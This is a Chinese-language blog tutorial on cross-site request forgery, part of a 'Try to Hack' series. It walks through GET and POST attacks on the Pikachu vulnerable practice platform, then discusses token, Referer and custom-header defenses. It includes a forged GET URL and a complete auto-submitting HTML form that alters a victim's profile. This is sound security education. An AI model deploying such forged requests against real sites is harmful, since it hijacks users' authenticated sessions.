开发: C++知识库 Java知识库 JavaScript Python PHP知识库人工智能区块链大数据移动开发嵌入式开发工具数据结构与算法开发测试游戏开发网络协议系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑笔记本显卡显示器固态硬盘硬盘耳机手机 iphone vivo oppo 小米华为单反装机图拉丁

-> 网络协议 -> 【Try to Hack】CSRF(一) -> 正文阅读

[网络协议]【Try to Hack】CSRF(一)

作者:recommend-item-box type_blog clearfix

📒博客主页：开心星人的博客主页
🔥系列专栏：Try to Hack
🎉欢迎关注🔎点赞👍收藏??留言📝
📆首发时间：🌴2022年5月20日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

本文很多内容摘自这篇，仅作为自己学习的记录

🌳1.CSRF概述

CSRF（Cross Site Request Forgery，跨站域请求伪造），也被称为 “One Click Attack” 或者 Session Riding，通常缩写为 CSRF 或者 XSRF 。

🌳2.XSS和CSRF区别

1、XSS 利用用户对站点的信任，盗取 Cookie；
2、CSRF 通过伪装成受信任用户请求，利用站点对己经身份认证的信任，访问网站。

CSRF类似于钓鱼链接，是欺骗用户，借助用户权限攻击，但是没有拿到用户权限
而XSS是直接获取cookie，拿到用户权限

🌳3.CSRF原理

在这里插入图片描述
其中Web A为存在CSRF漏洞的网站，Web B为攻击者构建的恶意网站，User C为Web A网站的合法用户。
CSRF攻击攻击原理及过程如下：

1、用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；
2.在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；
用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；
3、网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A；
4、浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户C的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

两个条件：

1、C 用户访问站点 A 并产生了 cookie
2、C 用户没有退出 A 同时访问了 B

🌳4.CSRF危害

攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF 能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账…造成的问题包括：个人隐私泄露以及财产安全。

🌳5.GET型

题目来自： Pikachu 漏洞练习平台
在这里插入图片描述
登录进入

看到可以修改个人信息
在这里插入图片描述
点击提交，进行抓包

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

OK!
我们简单的修改以下信息
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=999999&add=chain&email=vince%40pikachu.com&submit=submit
我更改了电话号码

我用我的浏览器访问以下这个url
在这里插入图片描述

可以看到手机号已经被更改了

所以危害来了：

攻击者通过各种手段发送给被攻击者（比如可以放到image等资源标签中），诱使被攻击者点击我们的链接，当用户刚好在访问这个网站（准确的说，如果被攻击者此时登录状态或cookie/session没有过期），他同时又点击了这个链接，那么用户的信息就会被修改了

🌳6.POST型

如果是POST型的，所有参数在请求体中提交，我们不能通过伪造URL的方式进行攻击
在这里插入图片描述
这里的攻击方式跟XSS中POST类型是一样的，攻击者可以搭建一个站点，在站点上做一个表单，诱导被攻击者点击这个链接，当被攻击者点击时，就会自动向存在CSRF的服务器提交POST请求修改个人信息。

攻击者：192.168.171.129

编写一个post.html页面

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下，然后启动 apache 服务systemctl start apache2

http://192.168.171.129/pikachu/doge_csrf/post.html
只用用户一访问这个链接（同样也是和GET一样），则用户的个人信息就会被修改了

🌳7.CSRF防御

🌾token

在这里插入图片描述
抓包发现这次多了token

每次请求，都增加一个随机码（需要够随机，不容易被伪造），后台每次对这个随机码进行验证，而且会替换掉原先session中的token值

如果后台对提交的Token进行了验证，由于Token是随机的，我们就无法伪造URL了。

所以可以有效的防止CSRF攻击

CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。

优点：

这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址之后，这样 URL 就变成 http://url?csrftoken=tokenvalue。而对于 POST 请求来说，要在 form 的最后加上，这样就把 token 以参数的形式加入请求了。

缺点：

但是，在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token。
该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

🌾 HTTP Referer

在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。
在通常情况下，访问一个安全受限页面的请求来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件。
因此，要防御 CSRF 攻击，网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。

优点：

这种方法的显而易见的好处就是简单易行，网站的普通开发人员不需要操心 CSRF 的漏洞，只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。

缺点：

然而，这种方法并非万无一失。Referer 的值是由浏览器提供的，虽然 HTTP 协议上有明确的要求，但是每个浏览器对于 Referer 的具体实现可能有差别，并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法，就是把安全性都依赖于第三方（即浏览器）来保障，从理论上来讲，这样并不安全。事实上，对于某些浏览器，比如 IE6 或 FF2，目前已经有一些方法可以篡改 Referer 值。如果网站支持IE6 浏览器，黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址，这样就可以通过验证，从而进行 CSRF 攻击。
即便是使用最新的浏览器，黑客无法篡改 Referer 值，这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源，有些用户认为这样会侵犯到他们自己的隐私权，特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此，用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时，网站会因为请求没有 Referer 值而认为是 CSRF 攻击，拒绝合法用户的访问。

🌾 在 HTTP 头中自定义属性并验证

这种方法也是使用 token 并进行验证，和上一种方法不同的是，这里并不是把 token 以参数的形式置于 HTTP 请求之中，而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类，可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性，并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便，同时，通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏，也不用担心 token 会透过 Referer 泄露到其他网站中去。

缺点：

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新，并非所有的请求都适合用这个类来发起，而且通过该类请求得到的页面不能被浏览器所记录下，从而进行前进，后退，刷新，收藏等操作，给用户带来不便。
另外，对于没有进行 CSRF 防护的遗留系统来说，要采用这种方法来进行防护，要把所有请求都改为 XMLHttpRequest 请求，这样几乎是要重写整个网站，这代价无疑是不能接受的。